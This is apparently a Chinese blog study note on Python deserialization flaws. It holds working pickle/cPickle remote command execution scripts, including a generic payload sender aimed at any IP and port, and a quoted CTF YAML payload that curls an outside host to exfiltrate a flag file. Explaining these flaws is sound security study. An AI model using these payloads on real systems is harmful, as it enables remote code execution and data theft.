零、补充:

补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。

测试代码:

 #client.py
import os
import sys
import base64
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
#cmd = sys.argv[1]
#rip = sys.argv[2]
#pot = sys.argv[3]
cmd = "whoami"
rip = "127.0.0.1"
pot = 5222
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
send_object = base64.b64encode(send_object)
sock.send(send_object) #server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle
import base64 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
ret = base64.b64decode(ret)
m = cPickle.loads(ret)

果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。

一、python的反序列化漏洞:

一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:

举例说明:

  client传送一个类对象序列化过去给server,server反序列化这个类对象。

client.py

 #serail.py
# -*- coding:utf-8 -*-
import os
import socket
import cPickle class Vuln(object):
name = 1
def __reduce__(self):
return (os.system,(('id'),)) sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",5222))
m = Vuln()
ret = cPickle.dumps(m)
sock.send(ret)
sock.close()

server.py

 #server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
m = cPickle.loads(ret)

测试效果:

类似于cPickle和pickle的这种适合打一些TCP连接的:

这里写一个脚本作为一般poc

 # -*- coding:utf-8 -*-
"""
这个脚本用来生成payload,并进行打击
作者:陈然
公司:360企业安全
"""
#引入依赖包文件
import os
import sys
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
cmd = sys.argv[1]
rip = sys.argv[2]
pot = sys.argv[3]
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
sock.send(send_object)

二、HTTP中的python反序列化漏洞--PyYAML

1、这里要注意,对站点相关开发有要求:

(1)使用PyYAML这个库

(2)使用了yaml.load函数而不是yaml.safe_load函数

2、好了,来看函数吧:

(1):

我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!

(2)这个tag的解析在yaml库的constructor.py文件中:

然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:

跳转过去看下,这个地方有cls函数

而这里的cls函数取自find_python_name这个函数的返回值:

这个函数返回值是getattr的返回值

我们来做一个实验:

 import os

 class A(object):
name = 1
def __reduce__(self):
os.system("whoami") a = A()
func = getattr(a,"__reduce__")
print "func:",func
func()

实验结果:

这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。

3、攻击场景:

这种场景有可能在HTTP协议中见到:

看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800

 '''
POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438 -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml ---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"] -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload" -----------------------------200783363553063815533894329-- </div> <div class="container main" >
<div>
<div class="col-md-12 main"> <ul><li><code>goodbye</code> : <code>0</code></li></ul> </div>
</div>
</div>
'''

很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。

python反序列化研究学习的更多相关文章

  1. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  2. 基于python的opcode优化和模块按需加载机制研究(学习与个人思路)(原创)

    基于python的opcode优化和模块按需加载机制研究(学习与思考) 姓名:XXX 学校信息:XXX 主用编程语言:python3.5 个人技术博客:http://www.cnblogs.com/M ...

  3. 从Theano到Lasagne:基于Python的深度学习的框架和库

    从Theano到Lasagne:基于Python的深度学习的框架和库 摘要:最近,深度神经网络以“Deep Dreams”形式在网站中如雨后春笋般出现,或是像谷歌研究原创论文中描述的那样:Incept ...

  4. Python语言程序设计学习 之 了解Python

    Python简介 Python是一种面向对象的解释型计算机程序设计语言,由荷兰人Guido van Rossum于1989年发明,第一个公开发行版发行于1991年. Python是纯粹的自由软件,源代 ...

  5. Python 应用领域及学习重点

    笔者认为不管学习什么编程语言,首先要知道:学完之后在未来能做些什么? 本文将浅谈 Python 的应用领域及其在对应领域的学习重点.也仅是介绍了 Python 应用领域的"冰山一角" ...

  6. 一个Python爬虫工程师学习养成记

    大数据的时代,网络爬虫已经成为了获取数据的一个重要手段. 但要学习好爬虫并没有那么简单.首先知识点和方向实在是太多了,它关系到了计算机网络.编程基础.前端开发.后端开发.App 开发与逆向.网络安全. ...

  7. PyQt(Python+Qt)学习随笔:富文本编辑器QTextEdit功能详解

    专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 一.概述 QTextEdit是一个高级的所见即所得的文档查看器和编辑器 ...

  8. PyQt(Python+Qt)学习随笔:QTableWidget表格部件中行高和列宽的计算方式

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 QTableWidget表格部件中行高和列宽的计算在Qt提供的资料中内容介绍比较泛,细节说得不清楚, ...

  9. 第15.16节 PyQt(Python+Qt)入门学习:PyQt中的信号(signal)和槽(slot)机制以及Designer中的使用

    老猿Python博文目录 老猿Python博客地址 一.引言 前面一些章节其实已经在使用信号和槽了,但是作为Qt中最重要的机制也是Qt区别与其他开发平台的重要核心特性,还是非常有必要单独介绍. 二.信 ...

随机推荐

  1. GPS项目小结

    GPS项目中涉及到的技术有地图纠偏,js与winform c#的交互等方面:  1   google地图纠偏,能够私下call我...QQ(964877814)....,事实上主要由于考虑到政治以及军 ...

  2. javascript 打印错误信息 catch err

    使用 console.log(err); 是无法打印出来的.默认只能打印出错误信息.如图 http.interceptors.response.use(response => { return ...

  3. Python Unicode 转换 字符串

    estimate_price = "\u00a340\u00a0\u00a0-\u00a060" sold_price = "Sold for \u00a345" ...

  4. Python 实现小数和百分数的相互转换

    # -*- coding: utf-8 -*- #百分比转换位小数 # -*- coding: utf-8 -*- s = '20%' # 默认要转换的百分比是字符串aa = float(s.stri ...

  5. Oracle 10g如何对用户姓名,按首字母排序、查询

    首先介绍Oracle 9i新增加的一个系统自带的排序函数  1.按首字母排序  在oracle9i中新增了按照拼音.部首.笔画排序功能.设置NLS_SORT值      SCHINESE_RADICA ...

  6. i2c 协议解析

    1.基本概念 主机            初始化发送,产生时钟信号和终止发送的器件 从机            被主机寻址的器件 发送器        发送数据到总线的器件 接收器        从总 ...

  7. JSON 之GSON 解析

    一. 谷歌GSON这个Java类库可以把Java对象转换成JSON,也可以把JSON字符串转换成一个相等的Java对象.Gson支持任意复杂Java对象包括没有源代码的对象. 二.Gson解析Json ...

  8. Cocos2d-x 3.4 初体验——安装教程

    电脑系统window7 32位 1.首先从官网下载cocos2d-x并解压 http://cn.cocos2d-x.org/download/ 解压后的文件夹中有一个setup.py,双击运行.需要安 ...

  9. 每日英语:The Perils Of Giving Advice

    I know what you should do and here's my advice. How many times have you heard that (and groaned)? gr ...

  10. Linux strace命令使用详解

    strace是Linux环境下的一款程序调试工具,用来监察一个应用程序所使用的系统调用及它所接收的系统信息. 可谓是 linux 下的调试利器,不仅可以用来找程序错误,系统为什么挂死了,命令为什么报错 ...